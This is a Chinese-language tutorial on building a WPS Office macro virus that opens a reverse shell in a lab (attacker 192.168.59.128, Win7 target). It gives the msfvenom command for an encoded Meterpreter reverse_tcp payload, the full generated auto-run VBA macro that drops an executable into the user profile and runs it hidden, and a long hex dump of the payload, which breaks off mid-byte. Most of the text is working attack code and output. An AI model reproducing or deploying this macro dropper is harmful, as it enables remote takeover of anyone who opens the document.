WPS Office宏病毒实现shell反弹

WPS Office宏病毒实现shell反弹

攻击机ip：192.168.59.128
靶机：win7（安装WPS 2019）：192.168.59.142
反弹Shell端口：4444

首先下载安装WPS2019：

由于WPS新版更新的WPS宏编辑器对kali生成的宏代码兼容性较差，所以这里我们还是装回VB宏编辑器的环境

在github下载WPS2019vba.exe，并安装该插件(5. https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis，链接下的Macro目录下)

切换VB编辑器：

然后使用kali生成相关的宏病毒代码和载荷：

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.59.128  LPORT=4444 -e x86/shikata_ga_nai -f  vba-exe

'*kali生成的宏病毒代码：

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of vba-exe file: 20421 bytes
'**************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************

Sub Auto_Open()
        Ipkyl12
End Sub

Sub Ipkyl12()
        Dim Ipkyl7 As Integer
        Dim Ipkyl1 As String
        Dim Ipkyl2 As String
        Dim Ipkyl3 As Integer
        Dim Ipkyl4 As Paragraph
        Dim Ipkyl8 As Integer
        Dim Ipkyl9 As Boolean
        Dim Ipkyl5 As Integer
        Dim Ipkyl11 As String
        Dim Ipkyl6 As Byte
        Dim Mpfjsvxhpn as String
        Mpfjsvxhpn = "Mpfjsvxhpn"
        Ipkyl1 = "SWDpdSaaMiphB.exe"
        Ipkyl2 = Environ("USERPROFILE")
        ChDrive (Ipkyl2)
        ChDir (Ipkyl2)
        Ipkyl3 = FreeFile()
        Open Ipkyl1 For Binary As Ipkyl3
        For Each Ipkyl4 in ActiveDocument.Paragraphs
                DoEvents
                        Ipkyl11 = Ipkyl4.Range.Text
                If (Ipkyl9 = True) Then
                        Ipkyl8 = 1
                        While (Ipkyl8 < Len(Ipkyl11))
                                Ipkyl6 = Mid(Ipkyl11,Ipkyl8,4)
                                Put #Ipkyl3, , Ipkyl6
                                Ipkyl8 = Ipkyl8 + 4
                        Wend
                ElseIf (InStr(1,Ipkyl11,Mpfjsvxhpn) > 0 And Len(Ipkyl11) > 0) Then
                        Ipkyl9 = True
                End If
        Next
        Close #Ipkyl3
        Ipkyl13(Ipkyl1)
End Sub

Sub Ipkyl13(Ipkyl10 As String)
        Dim Ipkyl7 As Integer
        Dim Ipkyl2 As String
        Ipkyl2 = Environ("USERPROFILE")
        ChDrive (Ipkyl2)
        ChDir (Ipkyl2)
        Ipkyl7 = Shell(Ipkyl10, vbHide)
End Sub

Sub AutoOpen()
        Auto_Open
End Sub

Sub Workbook_Open()
        Auto_Open
End Sub

'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************

Mpfjsvxhpn
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H80&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H50&H45&H00&H00&H4C&H01&H03&H00&H24&H71&HB6&H71&H00&H00&H00&H00&H00&H00&H00&H00&HE0&H00&H0F&H03&H0B&H01&H02&H38&H00&H02&H00&H00&H00&H0E&H00&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H10&H00&H00&H00&H20&H00&H00&H00&H00&H40&H00&H00&H10&H00&H00&H00&H02&H00&H00&H04&H00&H00&H00&H01&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H02&H00&H00&H46&H3A&H00&H00&H02&H00&H00&H00&H00&H00&H20&H00&H00&H10&H00&H00&H00&H00&H10&H00&H00&H10&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H30&H00&H00&H64&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2E&H74&H65&H78&H74&H00&H00&H00&H28&H00&H00&H00&H00&H10&H00&H00&H00&H02&H00&H00&H00&H02&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&H60&H2E&H64&H61&H74&H61&H00&H00&H00&H90&H0A&H00&H00&H00&H20&H00&H00&H00&H0C&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&HE0&H2E&H69&H64&H61&H74&H61&H00&H00&H64&H00&H00&H00&H00&H30&H00&H00&H00&H02&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H30&HC0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HB8&H00&H20&H40&H00&HFF&HE0&H90&HFF&H25&H38&H30&H40&H00&H90&H90&H00&H00&H00&H00&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HDD&HC5&HB8&H28&H14&HD0&H15&HD9&H74&H24&HF4&H5A&H2B&HC9&H66&HB9&H04&H02&H31&H42&H1A&H03&H42&H1A&H83&HC2&H2C&HF6&H25&H24&HEC&H9E&HCD&H57&HAC&H5E&HAA&HA8&H1C&H3B&HBB&H77&HE4&H5D&H73&H20&H34&HBB&H44&H16&H40&H1F&HB1&HF2&H81&H96&H88&H5C&HE0&H6B&HFF&H5D&H41&H78&H7C&HA2&H41&HFC&HBF&H8E&H81&HF3&H01&H84&H18&H63&HF0&HA3&H9A&HF1&H98&H01&H5B&H61&H7F&HB9&HB2&H65&HCD&H2A&HB9&HC2&H48&H74&HCB&H87&HFE&H84&HB8&HEE&H66&H45&H89&HF9&H7C&H6A&H11&H13&HA3&H44&H20&H0F&HC0&HC2&HA6&HD4&H31&H65&HBA&H5D&HEC&H62&H02&H4E&H20&H5F&H4C&H46&H09&H0E&H40&H4B&H7E&HBF&H21&HE4&H4D&H6D&HC1&H7E&HF2&H8B&H2B&H1D&HB2&H7B&HF4&H4F&H49&H55&HEA&HD5&H71&HC8&HF4&H5A&HFC&H88&H84&H8B&H42&H39&H58&H64&HC4&H28&HDB&HC8&H4F&H62&HA7&H5F&HAC&H97&H9E&H59&H10&H1F&HC9&H84&H03&H4C&H65&H28&HF5&H95&H8F&H87&H7B&H3A&H40&H9E&HF9&H57&H50&H96&HF4&H3A&H99&HAB&H5E&HF0&HF5&HA1&H6C&H62&H5C&H8C&H0A&HD7&H92&H01&H22&H4B&H9A&HF2&HE5&HF7&HB6&H6B&H1B&H59&HC9&H03&H2A&HBB&H29&HAE&HBA&H63&HBA&HD4&H9C&HD4&H50&H6B&H54&HA3&H0A&H55&H82&HD5&H09&H6C&H83&H94&H9A&HF6&HC9&H42&HBC&H1B&HA7&H02&H71&H78&H18&H09&HA7&H8C&HD7&H6F&H71&H73&H19&HC3&H36&HF8&HCE&HE2&HEB&HDE&H76&HE5&H78&H40&H0F&H72&H80&H6C&H57&H0A&H7D&H77&H57&H28&H93&HD3&HE0&HF4&HFC&H21&H22&H76&H55&HF2&H7C&H35&H8A&HDA&H3C&H35&H38&H72&H91&HD3&H03&HD5&H3A&H6A&H65&H84&H04&HE0&HC9&H21&H77&H7C&H9C&H4E&H26&HFE&H6E&H7D&H8E&H7D&H0B&H47&H12&H36&H00&H21&H27&H7A&HD5&HD8&H7D&H9F&H80&H72&HA0&H0D&H48&HBE&HF3&H2C&H7B&H90&H3F&H46&H5B&HF6&H07&HCC&HEB&HAE&H9F&H1F&H15&HE9&H9D&H8E&H71&HAF&HB2&H17&H40&H61&HD8&H7E&HB3&H70&H1C&H58&H92&HEB&HC0&HAC&H9A&HB5&HE3&H8D&H24&HF4&HB6&H9E&HCD&H67&H6D&H46&HA5&H49&HDA&H58&HC4&H6B&HCA&HE7&HA0&H4F&HD4&HAE&H4F&HAB&H3D&H44&H9A&HAD&HB0&HEA&HC7&H91&HF3&H19&H7B&HC1&H90&H87&H94&H06&H63&HA4&HA8&H59&H3B&H7F&H13&H20&H3C&H28&H14&HD5&HC6&H36&H46&HEE&H91&HE6&H87&HD2&H31&HF0&H4C&H65&HE7&H9D&H9F&HC9&HD7&HEB&HE5&H26&H12&H98&HC3&H3A&H97&H73&H88&H86&H80&H42&H42&HC7&HBA&H78&HA8&HFE&H50&H3C&HF5&HDA&H1A&H11&H64&H7F&HF6&HC9&HBA&HC0&HDC&H14&H7C&H50&HDA&H96&HDE&H29&H15&H0D&HDF&H33&H4F&H58&H0D&H0A&H20&H16&HEC&HB3&HE3&HC2&H4C&H62&HF6&H3F&H83&H39&H58&HE8&HF8&H76&H2A&H45&H53&HC0&H67&HAE&HC2&H13&H34&H69&H16&H1F&H27&H4B&H08&H0D&HDD&HDE&HE3&H33&HB5&HDD&H43&H50&H29&H2F&H97&H63&HD4&H47&H4D&H28&H64&H07&H7B&HE5&H19&HE1&H79&HC3&HE4&HEE&HF2&HBC&HC4&HA9&HA8&HFB&HC0&HBC&HA1&H30&HE6&H09&H5B&H18&H44&HAA&HCC&H1C&H0D&HF1&H4F&H1C&H46&H77&HEC&H4E&HAD&H71&HBB&H62&H22&H1C&HA8&H35&H20&H25&HF2&HEF&H4A&H9B&HC9&H8B&HB5&HC2&H84&HBA&H13&H4C&HC0&HC3&HEE&HAA&HBB&HF6&H52&H11&H51&H1D&H60&H63&H5C&H16&HDF&HFC&H60&H8F&H4B&H73&H2B&HC1&H1A&H31&HEA&H49&H55&H39&HD4&H42&H6B&H02&HA4&H56&H4A&H59&H56&HF1&H0B&H0B&H6C&H04&HAF&HC8&H28&H4D&H48&HCB&HD1&H06&H73&H45&H63&HB6&HC5&H6D&HCB&HE8&HDC&H4D&H72&H13&H62&H6A&H62&HDC&HC0&H3A&HA3&HC1&H43&H08&H84&H36&HE6&HAC&HE8&HBB&HC3&H7D&H32&H35&HEB&H2F&H52&H35&H86&H18&H8B&H1D&HE4&HD6&HE8&H09&H6B&H1D&H9C&HF1&H40&H05&H37&H75&HEE&HB3&HD1&HE6&HF8&HA4&HAF&H0D&H70&H1A&HB2&HFE&H97&HBA&H50&H70&HE4&H54&HD2&HD5&H55&H5D&H04&HA9&HDB&H87&H82&HAD&H6B&H67&H50&H27&H7A&H38&H02&H5F&H80&H2B&H39&H9B&HFF&HD4&HC8&H36&HB2&H8C&H73&H23&HE3&H62&H29&H4E&H18&H3D&HD6&HF9&H1B&H6A&HBE&H1F&HCC&H55&HBA&H26&HCE&H46&H90&H09&HC2&H2A&HAF&H09&H1B&HD2&H38&H92&H78&H04&H6A&H6F&H34&H9F&H26&H42&H0B&H78&H79&HDA&H93&HE1&H99&H36&H9E&HB2&H86&H1F&H2A&HB9&HA3&H24&H08&H6E&HC5&HD6&H1E&H0E&H5A&HF4&H25&H7B&HEB&H0E&H45&H9E&HD3&HD6&H22&H26&HDA&HA5&H25&HF1&H62&HC4&H58&HD5&HD9&H9E&HF2&H2C&H5D&HD9&H54&H62&HA5&HDB&HEC&H45&H9E&H23&H30&H79&H94&H95&HC6&HB0&H4D&H03&H5D&H62&H52&H53&H6F&H34&H8E&H22&HAC&H70&H6C&H1E&HB1&H71&H64&HA9&H15&H72&H9C&H83&HFC&H1F&H51&HBC&HB6&HE4&HF8&H62&H50&HF2&H40&H04&H3F&H87&H01&H1B&H65&H87&HE8&H3E&HCE&HFE&HC9&H36&HE1&H8E&H04&H41&HDA&H65&HCE&H58&H71&H35&HEF&H0A&HE0&H59&H13&H79&H75&HEB&H4F&H5C&H77&H4A&H43&HAB&HD6&HC8&HEE&HB2&HD3&H46&H9D&HCA&H11&H1A&HC7&HBD&HE3&HAE&HA1&H8A&HD4&HD5&H7C&HDF&H6A&H9B&HB7&HAD&H27&H3E&H5F&HBD&H4F&H65&HC7&H0F&H89&H9A&HDC&HCF&H98&H80&HAE&H05&H74&HDF&HF9&HB4&HA8&H00&H39&HED&HAB&H40&H02&HAC&H05&H00&H4D&HF3&H41
&HB4&H19&H3D&HFB&HDD&HC5&HFF&H9B&H96&H9A&H70&HF7&HE6&HD7&H44&H36&HD1&H03&H76&HB9&H20&HB4&HF1&H82&HD4&H04&H28&H48&HDF&H2C&H22&H01&H48&H42&HFE&HD1&H49&HDC&H7B&H4E&H1C&H41&HC1&H7F&H58&H30&H82&HD5&H09&HA4&H64&H6F&HEE&H80&H2B&H14&HA9&H16&H67&HF4&H64&HEA&H0C&HD6&H99&HC4&HDE&HE5&HEA&H7C&H44&HAB&H18&H17&HDD&HC0&H9E&HBC&HE7&H4D&H2C&H22&HBD&HDE&H02&H52&HF6&H2B&H8E&HFF&HD3&H96&HBA&H7D&H45&HA1&H28&H03&H55&H51&HCF&HDD&H5A&H72&H9E&H59&HF6&H2A&H4C&H61&HAA&H1A&H97&HA9&HC8&HFF&H5F&HDC&HC2&H94&H79&HF0&H80&HAB&H36&H18&HD0&HD8&H43&H4B&H2B&H43&HBF&HCB&H21&HEF&H19&H8C&H6E&H68&H02&HE8&H6E&HAB&H43&H57&HD1&HF8&H82&HBD&H95&H11&H72&H17&HA3&HB2&H29&H2F&HE6&H29&HE5&H4F&H68&H80&H18&HAF&HDD&HC4&H78&H74&H15&H8D&H1C&HD4&HC5&H11&H33&H96&H41&H16&H53&H0B&H79&HF2&HB8&HFA&HB8&H64&HB4&H81&H25&HE0&H7E&H42&H2A&H45&HA6&H10&H63&H3F&HE1&HBB&HA3&HF5&H8A&H6F&H27&HC2&H7D&HC9&H78&HAA&HE0&HDB&H4A&HD8&HDC&H9A&HE8&HB1&H45&H68&H5F&H1E&H49&H23&HBF&H9F&H2F&HE8&H44&H38&H76&H02&HE9&HD1&H7F&H73&H84&HB3&H24&H4D&HF3&H52&H9D&H9C&HB7&HB0&H5A&HEC&H7E&H03&H59&HF9&H96&HEC&H1E&HFC&H63&H7C&H58&H18&H4E&HA6&HAE&H79&HCA&H6A&H8E&HB7&H79&H29&HCD&H02&HC4&H66&H52&H18&HB9&H51&H92&H84&HA3&H40&HBE&H89&H96&H87&H67&HC0&H5C&H4F&HAC&HA0&HCD&H8C&H2B&HE6&H35&H5D&HAF&H18&H73&H50&H86&H0C&H55&HB2&H4D&HC7&H64&H84&H18&HE1&HCE&H61&H5B&HA5&H25&H58&HD2&HA6&HD9&H67&HEC&H32&H10&H78&H82&HE6&H95&H0D&H7A&HD5&HF4&H7C&H15&H8C&H8D&HCD&H28&H7F&H9C&H00&HD5&H3C&H09&HD3&HA3&HFA&HF4&HF8&H1A&H77&HD5&HC4&H31&H4F&H99&H25&H43&H28&H49&HA8&HA6&HBD&H59&H94&H5B&HF6&H68&HE2&HDA&HD8&HFB&H2A&HED&H92&H2C&HC8&HB8&HC1&H4C&H09&HB5&HEB&HB5&HB2&HD8&HE0&H82&H5A&H52&HCF&H86&H90&HEC&H9B&H60&H19&H51&HEB&HD0&HAB&H55&H58&HC0&HDB&H59&H53&HE7&H11&HE4&H91&H7F&H65&HB2&HBC&H33&HF5&H4E&H28&H67&H0B&H17&H9A&H19&HF4&H92&HC7&H02&H4B&HE1&HD8&H6F&H09&HF4&H72&H57&HB6&H02&HA4&H89&H8E&HC4&H98&HE9&H60&HD1&H06&HDC&H08&H2B&H26&H3E&H15&H75&HA6&HE6&HCF&H20&H61&H30&H94&H98&HFC&H08&H8B&HAC&HDE&H1F&H7E&H97&HE9&H3F&H80&H9E&H80&HC1&HB7&HC2&HAB&H93&HC4&H91&H23&H61&H5E&H3D&H7B&HCC&H8C&HE6&H32&H5C&H9E&H83&H8B&HBB&H7D&HBD&HD1&HC7&HC7&HDA&HAE&H65&H28&HBF&H64&H23&H58&H65&H00&HD4&HA0&H77&H00&HE8&H52&H34&HF9&HCD&H5A&HC9&H5F&H28&HAF&H86&H83&H2C&HEA&H71&H05&H4B&H59&H10&HDC&H69&HFE&H3F&HFC&H00&H05&H83&HFB&H86&H52&H81&HAC&H32&H07&HB4&H6A&HE3&H56&H3F&HB4&H9A&HD6&H11&H29&HC4&H23&H28&H6E&HEB&H7E&HF3&H2A&H39&H8B&HAA&H3B&H5D&H4C&H0C&H95&H2C&H88&H50&HE4&H32&HF1&H3C&H45&HEF&HFD&HAF&H80&H16&H0C&H74&H70&HFE&HB3&H24&H88&H24&HE0&H2E&HB4&H85&H8D&H39&HAA&HD0&H28&HA6&HFC&H54&HF8&H88&H1A&H94&HCC&H73&H3E&HD0&H76&H60&H3F&HFC&H67&H78&H45&H1F&H53&HCB&H4B&HB9&H3B&H7A&H00&H48&H53&H7E&HB5&H87&HD1&H0A&HE5&HB0&HFD&H2B&H8C&H57&HBE&HF4&H8D&HBD&H7B&H6D&H1D&HB3&H9B&H72&H41&HE6&HC4&H04&HB9&HBD&H9D&H48&H9F&H2C&H0D&HCE&H35&H65&H05&H01&HF3&H3A&H3B&HF0&H96&H9E&H59&H8F&H03&H7E&H4F&HBD&H87&HD4&H6A&HE7&HF1&HAA&H1F&H1D&H01&H98&H43&H7C&HB2&HEA&H66&HC1&H7E&H3C&H42&H65&H5F&H2B&H62&HAE&H07&HF1&H9B&HFE&H24&H8C&H91&H59&HE1&H64&H45&H22&HDA&HDE&H3D&H34&H2E&HB8&HA3&HF0&H5F&H8B&H0F&HA5&H38&H60&HE7&H35&H2F&H2C&H8C&H8F&H98&H05&H69&HEB&H37&H27&HD8&H83&HCF&H3B&H5F&HDC&HCB&HA9&H21&HD1&HBA&HFF&H7E&H52&HF9&HF9&H2B&HFF&HBA&H7A&H42&H00&H2D&HFA&H39&HBE&H10&HC6&HD1&H86&H6C&H93&HCE&HE6&H3F&H45&HE5&H80&H02&H5B&HBA&HAD&H8F&H54&HB2&HCA&H8B&HA9&H37&H6D&H6E&HD4&HBD&H46&H87&H0F&H12&H04&HBA&H62&H9C&HE4&HEA&H4B&H1F&H9E&HF1&HFD&H26&HE3&H26&H45&HA8&HC8&H72&H7B&H15&H55&H54&HE1&H6B&HEA&H01&H82&H76&H10&HDD&HC4&H87&H47&HFD&HFB&H8E&H8A&H55&H83&H6E&H4E&H45&HA3&HB9&H46&H0D&HFA&HB1&H05&HE9&HB1&HF5&HC5&HCC&H10&H4D&H99&H51&H64&HA1&H52&H1F&HEE&H32&H6B&H5D&HAD&H9D&H4F&H72&HA0&HAF&HBD&HF3&H08&H07&H46&HEC&H9A&H00&H62&HF4&H12&H83&HA3&H74&HEF&H49&H4F&HBF&H91&HA0&HBB&HBC&HE6&HCF&H03&HCE&HD1&HA2&H75&H93&HCF&H45&H77&HA3&H2A&H7A&H56&HB8&H8B&H86&H12&H3F&HB9&H07&H2E&H99&HE8&H61&H08&HE4&H74&HDF&H44&H41&H6D&H69&H80&HE8&HFF&H40&HF4&H48&HB5&H24&HAE&HF9&HD1&H7B&H3A&H77&H2D&H3A&HFC&H95&H2C&HBC&HD5&H3A&H72&HF7&H43&HDF&H73&HC8&HE1&H05&H70&H52&H5C&HC4&HAB&HC4&HC5&H19&H64&HCB&HC6&H45&H69&H9F&HFA&H30&H5D&H79&HB1&H5C&HE9&HE1&H59&H04&H4D&HBB&H2B&HCB&HC3&H06&H1A&H7C&H6A&H98&H51&H21&HC5&H58&H0A&HAE&H31&HB5&HF7&H51&H15&HA5&H1C&HE3&H95&HAB&H63&HE0&HEA&H45&H69&H69&H1E&H07&HDA&H15&H86&HBC&HB6&HA1&H50&H2B&HF6&H3E&H7F&HBC&H99&H7A&H68&H55&HDA&HB2&H71&H1D&HC8&H6E&H8C&HDB&HBC&H41&H1F&H7D&H22&HDE&HBB&H51&HA2&H52&H75&HCB&HB2&HA2&HBB&H45&HAE&HEB&H6A&HB8&H16&HCD&HA9&H19&HAF&H96&H22&H7D&H6F&H76&H57&HAD&HFE&H14&H6C&H02&HFA&H7C&H49&H39&H82&H80&HD1&H43&H43&HF3&H14&H59&H10&H41&H93&HCE&H16&H14&H71&HC1&H09&H4E&H21&H31&HD5&HD2&H27&HEB&H69&H93&HCA&HAC&H23&H3E&HC1&H2F&H11&H53&H3D&H60&HC1&H7A&H94&H04&HE3&H52&HB1&H05&H1C&H0A&HF4&H59&H9E&H79&H40&HDD&H62&HDF&H33&HF7&H7D&H07&H9D&H5B&H40&HCE&H16&H4D&H96&H83&H8D&HDB&HCB&H0C&HEF&H1F&H89&H29&H54&H9B&HBE&H45&HE2&H77&H43&HCF&H11&HA5&H3C&H51&H0D&H98&H06&HB7&H1B&H51&H26&H45&H74&HA0&H69&H3D&H5F&HE3&H56&H6D&H59&H32&H4C&H2D&H7D&HDA&H08&HA5&H70&HA6&H31&H94&H65&H3F&HDE&H87&HE3&H84&H9A&H4B&H3A&HF6&H25&H28&H35&HE3&H02&HC1&H09&H9F&H81&HB4&HCE&HDD&H50&H09&HC5&H24&H91&H8C&H5B&H52&H6D&H7C&H0A&H49&HC6&H37&HF1&H10&HCF&HF7&H48&H36&HE1&H2E&HA2&H13&HCB&H29&H73&HC2&H52&HEB&HE3&H3F&HF2&H84&HE3&HC4&H91&H5D&H5F&HC1&H4E&H4A&HBE&HF2&H36&H4B&H1E&H43&H6C&H7F&H5D&H05&HFA&H0F&HE7&H3F&HB3&H8D&H47&HDB&H3D&HA2&H41&H8B&H4C&HF4&H87&HC8&H49&H9F&H5F&H52&H76&H46&HBA&HCF&H18&H68&HF4&HD8&H8E&H4B&HA2&HE5&HDA&HFD&H1B&HB6&HD8&HEA&HF3&HC0&H3E&H28&HD6&H8C&HB5&H2E&HBA&H8D&H27&HCB&H62&HDA&HF7&H2A&H99&HC1&HBB&HB1&HF1&HA2&HB3&HBE&H58&H2F&H83&HEE&H7A&HC5&HAB&H27&H57&HE6&HC7&HE3&H9F&HB7&HDF&H0D&HDA&HDB&HC0&HB4&H04&HEE&H45&H49&HB7&H4E&H77&H21&H8F&H9A&HD9&H23&H78&H2E&H34&H53&H34&HE9&HF7&H3E&H3D&H35&H90&HCD&HB5&HDB&H9B&HCF&HE6&H71&H64&HC3&H24&H23&H42&H60&HD5&H77&H8D&H53&HE4&H0B&H09&H89&H03&H44&H34&H68&HCA&H27&HC9&H73&HAE&H6D&H40&H2A&H53&HC9&HF9&HF1&HFC&H76&HA1&HD1&HD1&H88&HAC&HEC&H8F&HC5&H9A&HDE&H0E&H14&HC7&H1F&H70&H6C&H7F&HF5&HB8&H29&H3A&HE3&H83&HF8&HFE&HC0&HE3&HB5&H7C&HBE&HE1&HB8&H3D&HA3&H93&H48&H8A&HB9&HBB&H3F&H40&HCA&HCB&H01&H93&H40&H31&H5A&H33&H42&H0E&H79&HA0&H13&HB4&H44&H94&HC8&HF2&H51&H57&HEF&HD5&H2F&H73&HB2&H14&H4A&H8B&HF1&HE4&H8D&HA1&H40&H09&HFE&H3E&HB2&HA6&H93&H2D&HBF&HE0&H6C&H67&HEA&HDF&HAF&H6F&HA0&H72&H6F&H1E&H82&H49&H05&HCD&HFB&H88&H80&HBE&HC0&HBB&H7B&HBB&HFE&H4C&H47&H15&H25&H52&HC9&H01&H9F&H61&H78&HD7&H90&H52&H88&H14&HC0&HEC&HD7&HAF&H67&HA6&H5B&H5B&HBC&H8A&HDC&H57&H53&H11&H54&H0A&H2D&H4E&H17&H93&HD0&HEC&HDF&H02&HB1&HF5&H65&H49&HF1&H14&HAB&H76&H8F&HB0&HDA&H78&HF6&H8E&H4C&H8A&H91&HB4&HE0&H9D&H87&H5F&HA5&H96&H66&H93&HEA&H25&HD7&HC5&HAF&H74&H5A&H6D&HC9&H23&HDB&HDF&H8B&H23&H40&H84&HEE&H1B&H19&H8D&H19&H8A&HE3&H2B&HCA&HE7&H2A&H6C&HB5&H06&H8E&H08&H31&HF7&H1F&HAD&H6F&H38&H6F&H8D&HF3&H28&H37&H83&HE8&HC2&H38&HE2&H08&HF9&HE1&H76&H79&H41&H54&HC4&HEC&H1F&H7E&HC8&HF1&HE5&H23&H0C&HEE&H8A&HCA&H7F&HFD&H27&H4C&H57&H70&H78&HD2&HD9&H56&HFB&H21&H3A&H0F&H77&H52&H38&H5E&HB9&H7C&HAE&HE9&H40&H41&H31&H1E&H64&HB7&H7B&HFA&HFF&H5A&H3C&HCC&H35&H17&H07&H44&H51&H79&H0C&HD8&HC8&HB3&H0F&HF8&H7D&H03&HE0&H6F&H04&H8B&HA3&H2B&H23&H27&H52&H48&H8F&HDA&H6A&H38&H79&H48&H47&H30&H35&H6F&H94&H51&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H0